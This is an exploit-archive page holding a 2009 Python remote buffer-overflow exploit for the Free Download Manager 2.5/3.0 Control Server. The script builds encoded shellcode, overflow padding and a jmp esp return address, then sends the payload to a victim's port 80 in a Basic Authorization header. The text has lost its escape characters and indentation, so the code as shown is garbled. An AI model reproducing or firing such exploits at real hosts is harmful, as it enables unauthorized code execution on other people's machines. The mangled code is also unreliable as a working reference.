[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Free Download Manager 2.5/3.0 (Control Server) Remote BOF Exploit
# Published : 2009-06-09
# Author : His0k4
# Previous Title : Apple Safari <= 3.2.x (XXE attack) Local File Theft Vulnerability
# Next Title : httpdx <= 0.8 FTP Server Delete/Get/Create Directories/Files Exploit
#!/usr/bin/python
#[*] Usage : fdm.py [victime_ip]
#[*] Bug : Free Download Manager 2.5/3.0 (Control Server) Remote BOF Exploit
#[*] Fix : update
#[*] Founder : Praveen Darshanam
#[*] Tested on : Xp sp3 (en)
#[*] Exploited by : His0k4
#[*] Greetings : All friends & muslims HaCkErs (DZ)
import sys, socket
import base64
from time import *
host = sys.argv[1]
port = 80
# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34"
"x42x30x42x50x42x30x4bx58x45x54x4ex33x4bx58x4ex57"
"x45x30x4ax37x41x30x4fx4ex4bx58x4fx34x4ax31x4bx48"
"x4fx35x42x52x41x50x4bx4ex49x54x4bx38x46x53x4bx38"
"x41x30x50x4ex41x43x42x4cx49x59x4ex4ax46x58x42x4c"
"x46x57x47x30x41x4cx4cx4cx4dx50x41x30x44x4cx4bx4e"
"x46x4fx4bx53x46x55x46x32x46x30x45x37x45x4ex4bx38"
"x4fx55x46x42x41x50x4bx4ex48x36x4bx38x4ex50x4bx44"
"x4bx48x4fx35x4ex51x41x30x4bx4ex4bx58x4ex41x4bx48"
"x41x30x4bx4ex49x38x4ex55x46x52x46x50x43x4cx41x33"
"x42x4cx46x56x4bx48x42x44x42x43x45x58x42x4cx4ax37"
"x4ex50x4bx38x42x44x4ex50x4bx38x42x37x4ex31x4dx4a"
"x4bx58x4ax56x4ax50x4bx4ex49x30x4bx38x42x38x42x4b"
"x42x50x42x30x42x50x4bx48x4ax56x4ex43x4fx45x41x43"
"x48x4fx42x56x48x35x49x38x4ax4fx43x48x42x4cx4bx37"
"x42x55x4ax46x42x4fx4cx38x46x50x4fx55x4ax56x4ax49"
"x50x4fx4cx58x50x50x47x35x4fx4fx47x4ex43x56x41x56"
"x4ex46x43x46x42x50x5a")
exploit = "3-1 "# a trick & a memory ;)
exploit += shellcode
exploit += "x41"*(1003-len(shellcode))
exploit += "xE8x10xFCxFFxFF"
exploit += "x93xB1x40x00" #jmp esp fdmwi
exploit += "x90"*4
exploit += "x73xF1x42x42"
auth = base64.b64encode(exploit)
head = 'GET '+shellcode+' HTTP/1.1rn'
head += 'Host: '+sys.argv[1]+'rn'
head += 'Authorization: Basic '+auth+'rnrn'
i=0
#3a9liya MIAS xD
while i<=2:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(head)
i=i+1
# www.Syue.com [2009-06-09]